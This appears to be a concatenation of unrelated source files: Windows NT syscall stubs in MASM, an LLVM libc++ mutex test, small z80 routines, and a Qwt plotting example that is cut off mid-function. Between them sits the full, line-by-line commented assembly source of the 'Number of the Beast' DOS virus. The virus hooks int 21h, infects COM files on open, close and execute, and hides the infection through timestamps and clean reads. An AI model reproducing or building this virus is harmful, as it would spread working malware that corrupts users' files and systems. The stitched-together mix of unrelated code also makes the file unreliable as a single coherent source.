NtAlpcConnectPortEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 426
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcConnectPortEx ENDP
; ULONG __stdcall NtAlpcCancelMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCancelMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 427
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCancelMessage ENDP
; ULONG __stdcall NtAlpcAcceptConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtAlpcAcceptConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 428
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcAcceptConnectPort ENDP
; ULONG __stdcall NtAllocateVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAllocateVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 429
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateVirtualMemory ENDP
; ULONG __stdcall NtAllocateUuids( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAllocateUuids PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 430
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateUuids ENDP
; ULONG __stdcall NtAllocateUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAllocateUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 431
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateUserPhysicalPages ENDP
; ULONG __stdcall NtAllocateReserveObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAllocateReserveObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 432
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateReserveObject ENDP
; ULONG __stdcall NtAllocateLocallyUniqueId( ULONG arg_01 );
NtAllocateLocallyUniqueId PROC STDCALL arg_01:DWORD
mov eax , 433
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateLocallyUniqueId ENDP
; ULONG __stdcall NtAlertThreadByThreadId( ULONG arg_01 );
NtAlertThreadByThreadId PROC STDCALL arg_01:DWORD
mov eax , 434
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlertThreadByThreadId ENDP
; ULONG __stdcall NtAlertThread( ULONG arg_01 );
NtAlertThread PROC STDCALL arg_01:DWORD
mov eax , 435
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlertThread ENDP
; ULONG __stdcall NtAlertResumeThread( ULONG arg_01 , ULONG arg_02 );
NtAlertResumeThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 436
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlertResumeThread ENDP
; ULONG __stdcall NtAdjustPrivilegesToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAdjustPrivilegesToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 437
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAdjustPrivilegesToken ENDP
; ULONG __stdcall NtAdjustGroupsToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAdjustGroupsToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 438
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAdjustGroupsToken ENDP
; ULONG __stdcall NtAdjustTokenClaimsAndDeviceGroups( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
NtAdjustTokenClaimsAndDeviceGroups PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 439
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAdjustTokenClaimsAndDeviceGroups ENDP
; ULONG __stdcall NtAddDriverEntry( ULONG arg_01 , ULONG arg_02 );
NtAddDriverEntry PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 440
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddDriverEntry ENDP
; ULONG __stdcall NtAddBootEntry( ULONG arg_01 , ULONG arg_02 );
NtAddBootEntry PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 441
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddBootEntry ENDP
; ULONG __stdcall NtAddAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAddAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 442
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddAtom ENDP
; ULONG __stdcall NtAddAtomEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAddAtomEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 443
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddAtomEx ENDP
; ULONG __stdcall NtAcquireProcessActivityReference( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAcquireProcessActivityReference PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 444
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAcquireProcessActivityReference ENDP
; ULONG __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 , ULONG arg_17 );
NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD , arg_17:DWORD
mov eax , 445
call _label_sysenter
ret 68
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
; ULONG __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 446
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeResultListAndAuditAlarm ENDP
; ULONG __stdcall NtAccessCheckByTypeResultList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAccessCheckByTypeResultList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 447
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeResultList ENDP
; ULONG __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
NtAccessCheckByTypeAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 448
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeAndAuditAlarm ENDP
; ULONG __stdcall NtAccessCheckByType( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAccessCheckByType PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 449
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByType ENDP
; ULONG __stdcall NtAccessCheckAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAccessCheckAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 450
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckAndAuditAlarm ENDP
; ULONG __stdcall NtSetInformationSymbolicLink( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationSymbolicLink PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 451
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationSymbolicLink ENDP
; ULONG __stdcall NtCreateRegistryTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 452
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateRegistryTransaction ENDP
; ULONG __stdcall NtOpenRegistryTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 453
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenRegistryTransaction ENDP
; ULONG __stdcall NtCommitRegistryTransaction( ULONG arg_01 , ULONG arg_02 );
NtCommitRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 454
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitRegistryTransaction ENDP
; ULONG __stdcall NtRollbackRegistryTransaction( ULONG arg_01 , ULONG arg_02 );
NtRollbackRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 455
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackRegistryTransaction ENDP
|
//===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// UNSUPPORTED: libcpp-has-no-threads
// UNSUPPORTED: c++03, c++11
// ALLOW_RETRIES: 2
// shared_timed_mutex was introduced in macosx10.12
// UNSUPPORTED: use_system_cxx_lib && x86_64-apple-macosx10.11
// UNSUPPORTED: use_system_cxx_lib && x86_64-apple-macosx10.10
// UNSUPPORTED: use_system_cxx_lib && x86_64-apple-macosx10.9
// <shared_mutex>
// class shared_timed_mutex;
// bool try_lock();
#include <shared_mutex>
#include <thread>
#include <cstdlib>
#include <cassert>
#include "make_test_thread.h"
#include "test_macros.h"
std::shared_timed_mutex m;
typedef std::chrono::system_clock Clock;
typedef Clock::time_point time_point;
typedef Clock::duration duration;
typedef std::chrono::milliseconds ms;
typedef std::chrono::nanoseconds ns;
void f()
{
time_point t0 = Clock::now();
assert(!m.try_lock());
assert(!m.try_lock());
assert(!m.try_lock());
while(!m.try_lock())
;
time_point t1 = Clock::now();
m.unlock();
ns d = t1 - t0 - ms(250);
assert(d < ms(200)); // within 200ms
}
int main(int, char**)
{
m.lock();
std::thread t = support::make_test_thread(f);
std::this_thread::sleep_for(ms(250));
m.unlock();
t.join();
return 0;
}
|
; Substitute for the z80 adc hl,bc instruction
; CPU Min T Max T
; 8080 47 52
; 8085 48 51
; gbz80 36 44
; r2ka 4 4
; z180 10 10
; z80 15 15
; z80n 15 15
SECTION code_l_sccz80
PUBLIC __z80asm__adc_hl_bc
__z80asm__adc_hl_bc:
jr nc, carry0
inc hl
carry0:
add hl, bc
ret
|
; long __FASTCALL__ lrint(double x)
SECTION code_fp_math48
PUBLIC cm48_sccz80_lrint
EXTERN am48_lrint
defc cm48_sccz80_lrint = am48_lrint
|
;*******************************************************************************
;* *
;* THE NUMBER OF THE BEAST VIRUS *
;* *
;* This is NOT a original virus, but a modification. Main difference *
;* between original virus is, that this release support ANY DOS version *
;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). *
;* *
;* Modification (C) were made by *
;* *
;* Kiril Stoimenov & Stephen Genchev *
;* *
;* Source was (C) commented by *
;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 *
;* *
;* All Rights Reserved. *
;* *
;*******************************************************************************
;* *
;* We don't care about any damages caused by compiling and runnig *
;* of this program. Use it only at your responsible ! *
;* *
;* If you find any mistakes or inaccurates in this source or comments, *
;* please, let us know. Drop message for Waleri Todorov on Virus eXchange *
;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 *
;* *
;* Waleri Todorov *
;* *
;*******************************************************************************
org 0
mov ah,30h ; Get DOS version
int 21h
xchg ah,al ; Swap major and minor digit
cmp ax,31Eh ; Is DOS==3.30
mov si,7B4h ; Load offset of original int13
jae newdos ; If 3.30+ -> Proceed
mov si,10A5h ; Load offset of original int13
cmp al,10 ; Check for 3.10
je newdos ; If so -> proceed
mov si,1EC9h ; Load offset of original int13 for other DOS's
newdos: mov ds,cx ; This may cause trouble, because CX
; is NOT allways set to ZERO
mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area
movsw ; Save oroginal int13 vector
movsw ; to unused area in PSP
mov si,84h ; DS:SI point to 0000:0084 - int21 vector
movsw ; Save current int21 vector
movsw ; to unused area in PSP
lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21
push es ; Save ES
push di ; Save DI
mov si,8 ; DS:SI point in current int21 handler;
mov ch,1 ; CX=100h - As I said CX is not allways set to 0
repz cmpsw ; Check if virus v512 hold the int21 vector
push cs ;
pop ds ; Set DS to PSP
jz SkipInstall ; If virus is active -> SkipInstall
mov ah,52h
int 21h ; Get DOS table of table address
push es ; Save segment of table
mov si,00F8h ; DS:SI point virus WITH data area in PSP
sub di,di ; This will be offset in DOS buffer
les ax,dword ptr es:[bx+12h] ; Load address of first
; DOS buffer from table of tables
; This is the reason why virus
; will NOT work on DOS 4.X+
mov dx,es:[di+02] ; Load in DX segment of next DOS buffer
mov cx,0104h ; CX set to virus size (208h bytes)
repz movsw ; Move itself in DOS buffer
mov ds,cx ; Now CX is 0 so DS also become 0
mov di,0016h ; This will be used for finding parent PSP
mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset
mov [di+70h],es ; Set new int21 segment
pop ds ; Restore segment of table in DS
mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain
mov dx,cs ; DX is current PSP segment
mov ds,dx ; DS also
mov bx,[di-14h] ; Load LAST segment available
dec bh ; LastSegment-=0x0100
mov es,bx ; ES point in transit COMMAND.COM area
cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP
mov ds,[di] ; Load in DS segment of parent of COMMAND
mov dx,[di] ; Load in DX parent of parent of COMMAND
dec dx ; Decrement loaded segment
mov ds,dx ; Set DS to rezult
mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command
mov dx,di ; Save DI in DX
mov cl,28h ; Will move 80 bytes
repz movsw ; Do moving
mov ds,bx ; Set DS to transit COMMAND.COM segment
jb RunProcess ; If current process is less than parent
; then COMMAND strat in progress -> read original bytes
int 20h ; Else stop. File will run from decond start
; If this instruction will be replaced by
; PUSH CS; POP DS file will run from first time
SkipInstall: mov si,cx ; Set SI to 0
mov ds,[si+02Ch] ; Load in DS segment of envirement
SearchAgain: lodsw ; Load word from envirement
dec si ; Decrement envirement pointer
test ax,ax ; Test for zero in AX
jnz SearchAgain ; If not zero -> SearchAgain
add si,3 ; Else SI+=3; Now DS:SI point to filename in env
mov dx,si ; DS:DX point to filename for open
RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode
call CallDosGet ; Call int21 & get handle table address in DS:DI
mov dx,[di] ; Load file size in DX
mov [di+04],dx ; Set file pointer to end of file
add [di],cx ; Increase file size with 512 bytes
pop dx ; Restore file entry point (100h) to DX
; This used for reading original bytes
; of file at normal place
push dx ; Save entry point again
push cs ; Set ES point to virus segment
pop es ;
push cs ; Set DS point to virus segment
pop ds ;
push ds ; Save PSP segment
mov al,50h ; Push 50h. On stack is far address PSP:0050
; This are INT 21; RETF instructions
push ax ; Update returning address
mov ah,03Fh ; Set AH=3F - read file
retf ; Far return; Read original file
; and return control to it
CallDosGet: int 21h ; Open file; Open procedure will go trough virus
jc ErrorOpen ; If error occur -> Skip open
mov bx,ax ; Move file pointer in BX
; This could be XCHG AX,BX; that save 1 byte
GetHandleAddr: push bx ; Save file handle in stack
mov ax,1220h ; Get handle's table number
int 02Fh ; Via int 2F (undocumented)
mov bl,es:[di] ; Load table number in BL
mov ax,1216h ; Get handle table ADDRESS (ES:DI)
int 02Fh ; Via int 2F (undocumented)
pop bx ; Restore file handle from stack
push es ; Set DS to point table's segment
pop ds ;
add di,11h ; DI will point file's size entry intable
mov cx,0200h ; CX set to virus size
ErrorOpen: ret
ReadClean: sti ; Disable external interrupts request
push es ; Save important registers to stack
push si
push di
push bp
push ds ; Data buffer segment
push cx ; Bytes to read
call GetHandleAddr ; Get file handle's table address in DS:DI
mov bp,cx ; Save virus size in BP
mov si,[di+04] ; Save in SI current file pointer
pop cx ; Restore bytes to be readed in CX
pop ds ; Restore buffer segment
call ReadOriginal ; Open file with original int21
jc SkipClean ; If error while read -> skip cleaning
cmp si,bp ; Check if file pointer was in virus
jnb SkipClean ; If no -> nothing to clean
push ax ; Save readed bytes
mov al,es:[di-04] ; Load AL with file time
not al ;
and al,01Fh ; Mask seconds of file time
jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do
add si,es:[di] ; Add to current pointer file size
; Now SI point to requested offset,
; BUT in original file bytes
xchg si,es:[di+04] ; Set new file pointer and save old file pointer
add es:[di],bp ; Increase file size with virus size
call ReadOriginal ; Open file via original int21
mov es:[di+04],si ; Restor file pointer
lahf ; ??? I don't know. If you do let me know
sub es:[di],bp ; Decrease file size with virus size
sahf ; ??? I don't know. If you do let me know
SkipCleanPop: pop ax ; Restore readed bytes
SkipClean: pop bp ; Restore saved imortant register
pop di
pop si
pop es
db 0CAh, 2, 0 ; RETF 2
ReadOriginal: mov ah,03Fh
CallDOS: pushf
push cs
call JumpDOS
ret
; Following few bytes are int21 handler. They check if file is open close or
; executed and clean or infect file with virus. Here there is serious problem -
; from time to time virus infect file which is NOT COM file (EXE file will be
; destroyed, by the way).
; More about this later in comments
int21: cmp ah,03Fh ; If function is Read file
jz ReadClean ; then go and read original bytes
push ds ; Save important registers
push es
push ax
push bx
push cx
push dx
push si
push di
cmp ah,03Eh ; If function is Close file
jz CloseInfect ; then Close and Infect
cmp ax,04B00h ; If execute file
mov ah,03Dh ; then open file before execute
; After opening file will be closed
; and .... Infected
jz Infect ;
TerminateInt: pop di ; Restore important registers
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21
CloseInfect: mov ah,45h
Infect: call CallDosGet ; Duplicate file handler
jc TerminateInt ; If error -> terminate
sub ax,ax ; Set AX to 0
mov [di+04],ax ; Set file pointer to 0
mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write
cld
mov ds,ax ; Set DS point to interrupt table
mov si,004Ch ; SI point to int13 offset
lodsw ; Load int13 offset
push ax ; and save it in stack
lodsw ; Load int13 segment
push ax ; and save it in stack
push [si+40h] ; Save int24 offset
push [si+42h] ; Save int24 segment
lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13
mov ax,2513h ; and set it via DOS function SetVector
int 21h ;
push cs ; Set DS point to virus segment
pop ds ;
mov dx,offset int24+8 ; Load in DX offset of int24 handler
mov al,24h ; Set int24 vector
int 21h ; via DOS function SetVector
push es ; Set DS point to handle table segment
pop ds ;
mov al,[di-04] ; Load AL with file time
; As I said in some case virus will infect non-COM file. This may happend
; if file you work with has time set to 62 seconds. In this case virus infect
; file without checking filename. This WILL damage EXE file. DOS will treat
; this files as COM files, but usualy their size is bigger than 64K, so DOS
; cannot run it. If file is less than 64K then virus run and read original
; bytes. Usualy he DO read them, then skip control to these bytes. In EXE
; files this is EXEheader, so execution FAIL (your system CRASH)
and al,01Fh ; Mask seconds
cmp al,01Fh ; Check if seconds == 31 (62sec)
jz NoNameCheck ; If so -> infect with no name check
mov ax,[di+17h] ; Load AX with first 2 letters of file extension
sub ax,04F43h ; If file is NOT *.CO?
jnz SkipInfect ; SkipInfect
NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec)
mov ax,[di] ; Set AX to file size
cmp ax,cx ; Check file size and virus size
jb SkipInfect ; If file is less than 512 bytes -> Don't infect
add ax,cx ; Increase file size with virus size
jc SkipInfect ; If file is bigger than (65535-512) -> no infect
test byte ptr [di-0Dh],04 ; Check file attribute
jnz SkipInfect ; If SYSTEM file -> don't infect it
lds si,dword ptr [di-0Ah] ; Load DS:SI with device header
dec ax ; AX (file size with virus) --
shr ah,1 ; AX/=2
and ah,[si+04] ; Check if enough place in cluster behind file
jz SkipInfect ; If no place -> terminate infection
mov ax,0020h ; DS = 20 (Second part of int table)
mov ds,ax ;
sub dx,dx ; DS:DX point to virus transfer buffer
call ReadOriginal ; Open file with original int21
mov si,dx ; Save virus buffer offset in SI
push cx ; Save virus size
LoopCheck: lodsb
cmp al,cs:[si+07] ; Compare readed data with virus code
jnz WriteFile ; If at least ONE byte different -> fuck file
loop LoopCheck ; Check all virus code with buffer
pop cx ; Restore virus size
SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec
NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word
; In case of file this is flag area. Setting bit 14
; as virus does, mean for DOS "Don't set file date/time when close"
; DOS always rewrite Date/Time field of table. If bit 14 is clear (0)
; then DOS will set current time to file. Virus should avoid this, or
; DOS will overwrite seconds field and they (seconds) will be normal
SkipInfect: mov ah,03Eh ; Close file
call CallDOS ; via original int21
or byte ptr es:[di-0Ch],40h ; Set flag... See above
pop ds ; Restore original int24
pop dx
mov ax,2524h ; via SetVector
int 21h
pop ds ; Restore original int13
pop dx
mov al,13h ; via SetVector
int 21h
jmp TerminateInt ; All done, jump to DOS
WriteFile: pop cx ; Restore virus size to CX
mov si,es:[di] ; Save current file size in SI
mov es:[di+04],si ; Move file pointer at the end of file
mov ah,40h ; Write to file its first 512 bytes at the end
int 21h
jc NoUpdateTime ; If error occur file time will be normal
mov es:[di],si ; Set file size to be as before (file size
; will remain unchanged)
mov es:[di+04],dx ; Set file pointer to beginning of file
push cs ; Set DS:DX point to virus
pop ds ;
mov dl,08 ; Skip first 8 bytes of virus, because they
; are a buffer for int handlers adresses
mov ah,40h ; Write virus at the beginning of file
int 21h ;
jmp SetFileTime ; File now OK infected, so his time must be
; set to 62 sec
int24: iret ; int 24 handler. Avoid "Write protected error..."
db '666' ; Virus signature
|
/*****************************************************************************
* Qwt Examples - Copyright (C) 2002 Uwe Rathmann
* This file may be used under the terms of the 3-clause BSD License
*****************************************************************************/
#include "Plot.h"
#include "CircularBuffer.h"
#include "Settings.h"
#include <QwtPainter>
#include <QwtPlotCanvas>
#include <QwtPlotGrid>
#include <QwtPlotCurve>
#include <QwtPlotLayout>
#include <QwtScaleWidget>
#include <QwtScaleDraw>
#include <QwtMath>
#ifndef QWT_NO_OPENGL
#if QT_VERSION >= 0x050400
#define USE_OPENGL_WIDGET 1
#endif
#if USE_OPENGL_WIDGET
#include <QwtPlotOpenGLCanvas>
#else
#include <QwtPlotGLCanvas>
#endif
#endif
static double wave( double x )
{
const double period = 1.0;
const double c = 5.0;
double v = std::fmod( x, period );
const double amplitude = qAbs( x - qRound( x / c ) * c ) / ( 0.5 * c );
v = amplitude * std::sin( v / period * 2 * M_PI );
return v;
}
static double noise( double )
{
return 2.0 * ( qwtRand() / ( static_cast< double >( RAND_MAX ) + 1 ) ) - 1.0;
}
Plot::Plot( QWidget* parent )
: QwtPlot( parent )
, m_interval( 10.0 ) // seconds
, m_timerId( -1 )
{
// Assign a title
setTitle( "Testing Refresh Rates" );
QwtPlotCanvas* canvas = new QwtPlotCanvas();
canvas->setFrameStyle( QFrame::Box | QFrame::Plain );
canvas->setLineWidth( 1 );
canvas->setPalette( Qt::white );
setCanvas( canvas );
alignScales();
// Insert grid
m_grid = new QwtPlotGrid();
m_grid->attach( this );
// Insert curve
m_curve = new QwtPlotCurve( "Data Moving Right" );
m_curve->setPen( Qt::black );
m_curve->setData( new CircularBuffer( m_interval, 10 ) );
m_curve->attach( this );
// Axis
setAxisTitle( QwtAxis::XBottom, "Seconds" );
setAxisScale( QwtAxis::XBottom, -m_interval, 0.0 );
setAxisTitle( QwtAxis::YLeft, "Values" );
setAxisScale( QwtAxis::YLeft, -1.0, 1.0 );
m_elapsedTimer.start();
setSettings( m_settings );
}
//
// Set a plain canvas frame and align the scales to it
//
void Plot::alignScales()
{
// The code below shows how to align the scales to
// the canvas frame, but is also a good example demonstrating
// why the spreaded API needs polishing.
for ( int i = 0; i < QwtAxis::AxisCount; i++ )
{
QwtScaleWidget* scaleWidget = axisWidget( i );
if ( scaleWidget )
scaleWidget->setMargin( 0 );
QwtScaleDraw* scaleDraw = axisScaleDraw( i );
if ( scaleDraw )
scaleDraw->enableComponent( QwtAbstractScaleDraw::Backbone, false );
